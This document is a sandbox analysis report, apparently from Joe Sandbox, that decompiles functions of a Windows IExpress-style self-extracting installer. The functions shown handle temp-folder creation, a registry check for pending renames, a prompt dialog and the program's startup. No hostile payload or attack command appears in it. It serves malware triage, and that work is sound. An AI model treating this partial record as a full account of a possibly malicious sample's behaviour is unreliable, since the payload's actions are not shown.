0x0086574d
0x0086574f
0x00865771
0x00865771
0x00865773
0x00000000
0x00865751
0x00865751
0x00865753
0x00000000
0x00865755
0x0086575b
0x00865760
0x00865762
0x00000000
0x00865764
0x00865764
0x00865769
0x0086577e
0x0086577e
0x00865781
0x00865788
0x0086578d
0x0086578f
0x008657b2
0x008657b8
0x008657bd
0x008657bf
0x008657cd
0x008657cd
0x008657dd
0x008657e3
0x008657ef
0x008657f5
0x008657f8
0x0086580a
0x0086580a
0x008657fa
0x00865802
0x00865802
0x0086580d
0x0086580f
0x00865830
0x00865836
0x0086583d
0x0086584b
0x00865851
0x00865855
0x0086585a
0x0086585c
0x00000000
0x0086585e
0x0086585e
0x00000000
0x0086585e
0x00865811
0x00865817
0x00865819
0x0086581f
0x00000000
0x0086581f
0x00865791
0x00865797
0x0086579c
0x0086579e
0x00000000
0x008657a0
0x008657a9
0x008657ae
0x008657b0
0x00000000
0x00000000
0x00000000
0x00000000
0x008657b0
0x0086579e
0x00000000
0x00000000
0x00000000
0x00865769
0x00865762
0x00865753
0x0086574f
0x00000000
0x00000000
0x00000000
0x0086572e
0x00000000
0x00865864
0x00865864
0x00865864
0x00865717
0x00000000
0x008656c3
0x008656c5
0x008656c9
0x008656ce
0x008656d0
0x00000000
0x008656d6
0x008656d6
0x008656d8
0x008656dd
0x008656df
0x00000000
0x008656e1
0x008656e2
0x008656e4
0x008656e6
0x008656eb
0x008656ed
0x00000000
0x008656f3
0x008656f3
0x00000000
0x0086586c
0x00865878
0x0086587e
0x00865882
0x00865883
0x00865889
0x0086588e
0x0086588e
0x00000000
0x00865896
0x008656ed
0x008656df
0x008656d0
0x008656c1
0x008656a8
0x0086565b
0x0086565b
0x0086565d
0x00865669
0x00865669
0x0086565f
0x0086565f
0x00865665
0x00865667
0x00000000
0x00000000
0x00865667
0x0086566c
0x00865673
0x00865678
0x0086567a
0x0086589b
0x0086589b
0x00865680
0x00865685
0x0086568c
0x00000000
0x0086568c
0x0086567a
0x0086560e
0x00865613
0x0086561a
0x00865620
0x00865626
0x00000000
0x00865626
0x008655db
0x008655e0
0x008655e7
0x008655f1
0x008655f6
0x008655f6
0x008655f6
0x008658b7
0x008658c7

APIs

Part of subcall function 0086468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646A0
Part of subcall function 0086468F: SizeofResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646A9
Part of subcall function 0086468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646C3
Part of subcall function 0086468F: LoadResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646CC
Part of subcall function 0086468F: LockResource.KERNEL32(00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646D3
Part of subcall function 0086468F: memcpy_s.MSVCRT ref: 008646E5
Part of subcall function 0086468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008646EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 008655CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 00865638
LocalFree.KERNEL32(00000000), ref: 0086564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00865620

Part of subcall function 008644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00864518
Part of subcall function 008644B9: MessageBoxA.USER32(?,?,herso,00010010), ref: 00864554

Part of subcall function 00866285: GetLastError.KERNEL32(00865BBC), ref: 00866285

GetTempPathA.KERNELBASE(00000104,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 008656B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 0086571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 00865737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 008657CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 008657EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 00865802

Part of subcall function 00862630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 00862654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 00865830

Part of subcall function 00866517: FindResourceA.KERNEL32(00860000,000007D6,00000005), ref: 0086652A
Part of subcall function 00866517: LoadResource.KERNEL32(00860000,00000000,?,?,00862EE8,00000000,008619E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00866538
Part of subcall function 00866517: DialogBoxIndirectParamA.USER32(00860000,00000000,00000547,008619E0,00000000), ref: 00866557
Part of subcall function 00866517: FreeResource.KERNEL32(00000000,?,?,00862EE8,00000000,008619E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00866560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 00865878

Part of subcall function 0086597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 008659A8
Part of subcall function 0086597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 008659AF

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 008656AE, 008656B3, 0086583D
A:\, xrefs: 008656F4
RUNPROGRAM, xrefs: 008655BD, 00865600
<None>, xrefs: 00865632
Z, xrefs: 0086570A
msdownld.tmp, xrefs: 008657D3

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-3855382519
Opcode ID: 288b08647c1a43e6f953b37916f7192bd899fbb9d31a9076dc5160c517237c51
Instruction ID: 2871a1fdbde40467536b88e73e27b83dd64aeb346649e9c1cb40de57e371e31d
Opcode Fuzzy Hash: 288b08647c1a43e6f953b37916f7192bd899fbb9d31a9076dc5160c517237c51
Instruction Fuzzy Hash: 36810870A04A149ADB24AB68DC55BEB776DFB60300F0700A5F586E3191EEB48DC58B52

Uniqueness

Uniqueness Score: -1.00%

Function 008653A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E008653A1(CHAR* __ecx, CHAR* __edx) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t5;
				long _t13;
				int _t14;
				CHAR* _t20;
				int _t29;
				int _t30;
				CHAR* _t32;
				signed int _t33;
				void* _t34;

				_t5 =  *0x868004; // 0xb82e2007
				_v8 = _t5 ^ _t33;
				_t32 = __edx;
				_t20 = __ecx;
				_t29 = 0;
				while(1) {
					E0086171E( &_v268, 0x104, "IXP%03d.TMP", _t29);
					_t34 = _t34 + 0x10;
					_t29 = _t29 + 1;
					E00861680(_t32, 0x104, _t20);
					E0086658A(_t32, 0x104,  &_v268); // executed
					RemoveDirectoryA(_t32); // executed
					_t13 = GetFileAttributesA(_t32); // executed
					if(_t13 == 0xffffffff) {
						break;
					}
					if(_t29 < 0x190) {
						continue;
					}
					L3:
					_t30 = 0;
					if(GetTempFileNameA(_t20, "IXP", 0, _t32) != 0) {
						_t30 = 1;
						DeleteFileA(_t32);
						CreateDirectoryA(_t32, 0);
					}
					L5:
					return E00866CE0(_t30, _t20, _v8 ^ _t33, 0x104, _t30, _t32);
				}
				_t14 = CreateDirectoryA(_t32, 0); // executed
				if(_t14 == 0) {
					goto L3;
				}
				_t30 = 1;
				 *0x868a20 = 1;
				goto L5;
			}

0x008653ac
0x008653b3
0x008653b9
0x008653bb
0x008653bd
0x008653bf
0x008653d1
0x008653d6
0x008653e0
0x008653e2
0x008653f5
0x008653fb
0x00865402
0x0086540b
0x00000000
0x00000000
0x00865413
0x00000000
0x00000000
0x00865415
0x00865416
0x00865427
0x0086542a
0x0086542b
0x00865434
0x00865434
0x0086543a
0x0086544c
0x0086544c
0x00865452
0x0086545a
0x00000000
0x00000000
0x0086545e
0x0086545f
0x00000000

APIs

Part of subcall function 0086171E: _vsnprintf.MSVCRT ref: 00861750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 008653FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00865402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0086541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0086542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00865434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00865452

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 008653B7, 008653E1, 0086541E
IXP, xrefs: 00865419
IXP%03d.TMP, xrefs: 008653C0

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-3862032828
Opcode ID: 29fdb1bc582fe9ccf01c8284b8bb7bfaf1755536c6701e4cf56531e8de70ac5a
Instruction ID: 8f0b1c430133f1a836f7d183fce444a2b71f2fcfe21d9033555decd6cc1e8a7d
Opcode Fuzzy Hash: 29fdb1bc582fe9ccf01c8284b8bb7bfaf1755536c6701e4cf56531e8de70ac5a
Instruction Fuzzy Hash: C4115771300914B7D7249B369C09FAF376DFFD2311F021164F607E2290DEB489428AA7

Uniqueness

Uniqueness Score: -1.00%

Function 0086256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E0086256D(signed int __ecx) {
				int _v8;
				void* _v12;
				signed int _t13;
				signed int _t19;
				long _t24;
				void* _t26;
				int _t31;
				void* _t34;

				_push(__ecx);
				_push(__ecx);
				_t13 = __ecx & 0x0000ffff;
				_t31 = 0;
				if(_t13 == 0) {
					_t31 = E008624E0(_t26);
				} else {
					_t34 = _t13 - 1;
					if(_t34 == 0) {
						_v8 = 0;
						if(RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations", 0, 0x20019,  &_v12) != 0) {
							goto L7;
						} else {
							_t19 = RegQueryInfoKeyA(_v12, 0, 0, 0, 0, 0, 0,  &_v8, 0, 0, 0, 0);
							goto L6;
						}
						L12:
					} else {
						if(_t34 > 0 && __ecx <= 3) {
							_v8 = 0;
							_t24 = RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager", 0, 0x20019,  &_v12); // executed
							if(_t24 == 0) {
								_t19 = RegQueryValueExA(_v12, "PendingFileRenameOperations", 0, 0, 0,  &_v8); // executed
								L6:
								asm("sbb eax, eax");
								_v8 = _v8 &  !( ~_t19);
								RegCloseKey(_v12); // executed
							}
							L7:
							_t31 = _v8;
						}
					}
				}
				return _t31;
				goto L12;
			}

0x00862572
0x00862573
0x00862575
0x00862578
0x0086257d
0x00862627
0x00862583
0x00862586
0x00862589
0x008625eb
0x00862607
0x00000000
0x00862609
0x0086261a
0x00000000
0x0086261a
0x00000000
0x0086258b
0x0086258b
0x0086259e
0x008625b2
0x008625ba
0x008625cb
0x008625d1
0x008625d6
0x008625da
0x008625dd
0x008625dd
0x008625e3
0x008625e3
0x008625e3
0x0086258b
0x00862589
0x0086262f
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,00864096,00864096,?,00861ED3,00000001,00000000,?,?,00864137,?), ref: 008625B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,00864096,?,00861ED3,00000001,00000000,?,?,00864137,?,00864096), ref: 008625CB
RegCloseKey.KERNELBASE(?,?,00861ED3,00000001,00000000,?,?,00864137,?,00864096), ref: 008625DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,00864096,00864096,?,00861ED3,00000001,00000000,?,?,00864137,?), ref: 008625FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00864096,00000000,00000000,00000000,00000000,?,00861ED3,00000001,00000000), ref: 0086261A

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 008625F5
System\CurrentControlSet\Control\Session Manager, xrefs: 008625A8
PendingFileRenameOperations, xrefs: 008625C3

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: 827dda1c0a5501ea9da9ea15c2ffa6b3f8d6ae122f704b857237aa8c113d4b7c
Instruction ID: b4079fda1df6d7f229d13cea93300e9a77d6316fed9cbac928db1be692331c18
Opcode Fuzzy Hash: 827dda1c0a5501ea9da9ea15c2ffa6b3f8d6ae122f704b857237aa8c113d4b7c
Instruction Fuzzy Hash: 26116D35942628FB9B209B92DC0EDFBBE6CFB117A5F124195F809E2110DA705A44DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00866A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t25;
				signed int _t26;
				signed int _t29;
				int _t30;
				signed int _t37;
				signed char _t41;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t60;
				void* _t62;
				void* _t67;
				void* _t68;

				E00867155();
				_push(0x58);
				_push(0x8672b8);
				E00867208(__ebx, __edi, __esi);
				 *(_t62 - 0x20) = 0;
				GetStartupInfoW(_t62 - 0x68);
				 *((intOrPtr*)(_t62 - 4)) = 0;
				_t56 =  *((intOrPtr*)( *[fs:0x18] + 4));
				_t53 = 0;
				while(1) {
					asm("lock cmpxchg [edx], ecx");
					if(0 == 0) {
						break;
					}
					if(0 != _t56) {
						Sleep(0x3e8);
						continue;
					} else {
						_t58 = 1;
						_t53 = 1;
					}
					L7:
					_t67 =  *0x8688b0 - _t58; // 0x2
					if(_t67 != 0) {
						__eflags =  *0x8688b0; // 0x2
						if(__eflags != 0) {
							 *0x8681e4 = _t58;
							goto L13;
						} else {
							 *0x8688b0 = _t58;
							_t37 = E00866C3F(0x8610b8, 0x8610c4); // executed
							__eflags = _t37;
							if(__eflags == 0) {
								goto L13;
							} else {
								 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
								_t30 = 0xff;
							}
						}
					} else {
						_push(0x1f);
						L00866FF4();
						L13:
						_t68 =  *0x8688b0 - _t58; // 0x2
						if(_t68 == 0) {
							_push(0x8610b4);
							_push(0x8610ac);
							L00867202();
							 *0x8688b0 = 2;
						}
						if(_t53 == 0) {
							 *0x8688ac = 0;
						}
						_t71 =  *0x8688b4;
						if( *0x8688b4 != 0 && E00867060(_t71, 0x8688b4) != 0) {
							_t60 =  *0x8688b4; // 0x0
							 *0x86a288(0, 2, 0);
							 *_t60();
						}
						_t25 = __imp___acmdln; // 0x74895b9c
						_t59 =  *_t25;
						 *(_t62 - 0x1c) = _t59;
						_t54 =  *(_t62 - 0x20);
						while(1) {
							_t41 =  *_t59;
							if(_t41 > 0x20) {
								goto L32;
							}
							if(_t41 != 0) {
								if(_t54 != 0) {
									goto L32;
								} else {
									while(_t41 != 0 && _t41 <= 0x20) {
										_t59 = _t59 + 1;
										 *(_t62 - 0x1c) = _t59;
										_t41 =  *_t59;
									}
								}
							}
							__eflags =  *(_t62 - 0x3c) & 0x00000001;
							if(( *(_t62 - 0x3c) & 0x00000001) == 0) {
								_t29 = 0xa;
							} else {
								_t29 =  *(_t62 - 0x38) & 0x0000ffff;
							}
							_push(_t29);
							_t30 = E00862BFB(0x860000, 0, _t59); // executed
							 *0x8681e0 = _t30;
							__eflags =  *0x8681f8;
							if( *0x8681f8 == 0) {
								exit(_t30); // executed
								goto L32;
							}
							__eflags =  *0x8681e4;
							if( *0x8681e4 == 0) {
								__imp___cexit();
								_t30 =  *0x8681e0; // 0x0
							}
							 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
							goto L40;
							L32:
							__eflags = _t41 - 0x22;
							if(_t41 == 0x22) {
								__eflags = _t54;
								_t15 = _t54 == 0;
								__eflags = _t15;
								_t54 = 0 | _t15;
								 *(_t62 - 0x20) = _t54;
							}
							_t26 = _t41 & 0x000000ff;
							__imp___ismbblead(_t26);
							__eflags = _t26;
							if(_t26 != 0) {
								_t59 = _t59 + 1;
								__eflags = _t59;
								 *(_t62 - 0x1c) = _t59;
							}
							_t59 = _t59 + 1;
							 *(_t62 - 0x1c) = _t59;
						}
					}
					L40:
					return E0086724D(_t30);
				}
				_t58 = 1;
				__eflags = 1;
				goto L7;
			}

0x00866a60
0x00866a6a
0x00866a6c
0x00866a71
0x00866a78
0x00866a7f
0x00866a85
0x00866a8e
0x00866a91
0x00866a93
0x00866a9c
0x00866aa2
0x00000000
0x00000000
0x00866aa6
0x00866ab4
0x00000000
0x00866aa8
0x00866aaa
0x00866aab
0x00866aab
0x00866abf
0x00866abf
0x00866ac5
0x00866ad1
0x00866ad7
0x00866b05
0x00000000
0x00866ad9
0x00866ad9
0x00866ae9
0x00866af0
0x00866af2
0x00000000
0x00866af4
0x00866af4
0x00866afb
0x00866afb
0x00866af2
0x00866ac7
0x00866ac7
0x00866ac9
0x00866b0b
0x00866b0b
0x00866b11
0x00866b13
0x00866b18
0x00866b1d
0x00866b24
0x00866b24
0x00866b30
0x00866b39
0x00866b39
0x00866b3b
0x00866b42
0x00866b57
0x00866b5f
0x00866b65
0x00866b65
0x00866b67
0x00866b6c
0x00866b6e
0x00866b71
0x00866b74
0x00866b74
0x00866b79
0x00000000
0x00000000
0x00866b7d
0x00866b81
0x00000000
0x00000000
0x00866b83
0x00866b8c
0x00866b8d
0x00866b90
0x00866b90
0x00866b83
0x00866b81
0x00866b94
0x00866b98
0x00866ba2
0x00866b9a
0x00866b9a
0x00866b9a
0x00866ba3
0x00866bab
0x00866bb0
0x00866bb5
0x00866bbc
0x00866bbf
0x00000000
0x00866bbf
0x00866c1e
0x00866c25
0x00866c27
0x00866c2d
0x00866c2d
0x00866c32
0x00000000
0x00866bc5
0x00866bc5
0x00866bc8
0x00866bcc
0x00866bce
0x00866bce
0x00866bd1
0x00866bd3
0x00866bd3
0x00866bd6
0x00866bda
0x00866be1
0x00866be3
0x00866be5
0x00866be5
0x00866be6
0x00866be6
0x00866be9
0x00866bea
0x00866bea
0x00866b74
0x00866c39
0x00866c3e
0x00866c3e
0x00866abe
0x00866abe
0x00000000

APIs

Part of subcall function 00867155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00867182
Part of subcall function 00867155: GetCurrentProcessId.KERNEL32 ref: 00867191
Part of subcall function 00867155: GetCurrentThreadId.KERNEL32 ref: 0086719A
Part of subcall function 00867155: GetTickCount.KERNEL32 ref: 008671A3
Part of subcall function 00867155: QueryPerformanceCounter.KERNEL32(?), ref: 008671B8

GetStartupInfoW.KERNEL32(?,008672B8,00000058), ref: 00866A7F
Sleep.KERNEL32(000003E8), ref: 00866AB4
_amsg_exit.MSVCRT ref: 00866AC9
_initterm.MSVCRT ref: 00866B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 00866B49
exit.KERNELBASE ref: 00866BBF
_ismbblead.MSVCRT ref: 00866BDA

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: 5c03a0797b3ec54f5067ad6fed5077024d42258690f144ed371b3b97f8d40043
Instruction ID: f0cd7225214efeebc5ae83f019f6a41434721a2c0952c268799f9387f8c9d1b7
Opcode Fuzzy Hash: 5c03a0797b3ec54f5067ad6fed5077024d42258690f144ed371b3b97f8d40043
Instruction Fuzzy Hash: 5D4122309447A9CFDB219B68DC1876A77E1FB44735F27022AE846E3290EFB44C508B82

Uniqueness

Uniqueness Score: -1.00%

Function 008658C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E008658C8(intOrPtr* __ecx) {
				void* _v8;
				intOrPtr _t6;
				void* _t10;
				void* _t12;
				void* _t14;
				signed char _t16;
				void* _t20;
				void* _t23;
				intOrPtr* _t27;
				CHAR* _t33;

				_push(__ecx);
				_t33 = __ecx;
				_t27 = __ecx;
				_t23 = __ecx + 1;
				do {
					_t6 =  *_t27;
					_t27 = _t27 + 1;
				} while (_t6 != 0);
				_t36 = _t27 - _t23 + 0x14;
				_t20 = LocalAlloc(0x40, _t27 - _t23 + 0x14);
				if(_t20 != 0) {
					E00861680(_t20, _t36, _t33);
					E0086658A(_t20, _t36, "TMP4351$.TMP");
					_t10 = CreateFileA(_t20, 0x40000000, 0, 0, 1, 0x4000080, 0); // executed
					_v8 = _t10;
					LocalFree(_t20);
					_t12 = _v8;
					if(_t12 == 0xffffffff) {
						goto L4;
					} else {
						CloseHandle(_t12);
						_t16 = GetFileAttributesA(_t33); // executed
						if(_t16 == 0xffffffff || (_t16 & 0x00000010) == 0) {
							goto L4;
						} else {
							 *0x869124 = 0;
							_t14 = 1;
						}
					}
				} else {
					E008644B9(0, 0x4b5, 0, 0, 0x10, 0);
					L4:
					 *0x869124 = E00866285();
					_t14 = 0;
				}
				return _t14;
			}

0x008658cd
0x008658d1
0x008658d3
0x008658d5
0x008658d8
0x008658d8
0x008658da
0x008658db
0x008658e1
0x008658ed
0x008658f1
0x0086591e
0x0086592c
0x00865943
0x0086594a
0x0086594d
0x00865953
0x00865959
0x00000000
0x0086595b
0x0086595c
0x00865963
0x0086596c
0x00000000
0x00865972
0x00865974
0x0086597a
0x0086597a
0x0086596c
0x008658f3
0x00865901
0x00865906
0x0086590b
0x00865910
0x00865910
0x00865918

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00865534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 008658E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00865534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00865943
LocalFree.KERNEL32(00000000,?,00865534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0086594D
CloseHandle.KERNEL32(00000000,?,00865534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0086595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00865534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00865963

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 008658CD, 008658CF, 00865919, 00865962
TMP4351$.TMP, xrefs: 00865923

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$TMP4351$.TMP
API String ID: 747627703-2139698323
Opcode ID: 2b9a1b385f27db094a41fb842e3fcdf5f2bfd569dae69ecd732aaf60f84e8924
Instruction ID: b716dfcf3d893496d4ffc4fc8ed0e03f7c57d5c22b2cd1c120e03b2dc33cf587
Opcode Fuzzy Hash: 2b9a1b385f27db094a41fb842e3fcdf5f2bfd569dae69ecd732aaf60f84e8924
Instruction Fuzzy Hash: 10113471600220ABC7241F79AC4DB9B7F9EFF46360F120619F50AE32C1DEB48805C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 008651E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E008651E5(void* __eflags) {
				int _t5;
				void* _t6;
				void* _t28;

				_t1 = E0086468F("UPROMPT", 0, 0) + 1; // 0x1
				_t28 = LocalAlloc(0x40, _t1);
				if(_t28 != 0) {
					if(E0086468F("UPROMPT", _t28, _t29) != 0) {
						_t5 = lstrcmpA(_t28, "<None>"); // executed
						if(_t5 != 0) {
							_t6 = E008644B9(0, 0x3e9, _t28, 0, 0x20, 4);
							LocalFree(_t28);
							if(_t6 != 6) {
								 *0x869124 = 0x800704c7;
								L10:
								return 0;
							}
							 *0x869124 = 0;
							L6:
							return 1;
						}
						LocalFree(_t28);
						goto L6;
					}
					E008644B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree(_t28);
					 *0x869124 = 0x80070714;
					goto L10;
				}
				E008644B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x869124 = E00866285();
				goto L10;
			}

0x008651fb
0x00865207
0x0086520b
0x0086523c
0x00865268
0x00865270
0x0086528b
0x00865293
0x0086529c
0x008652a6
0x008652b0
0x00000000
0x008652b0
0x0086529e
0x00865279
0x00000000
0x0086527b
0x00865273
0x00000000
0x00865273
0x0086524a
0x00865250
0x00865256
0x00000000
0x00865256
0x00865219
0x00865223
0x00000000

APIs

Part of subcall function 0086468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646A0
Part of subcall function 0086468F: SizeofResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646A9
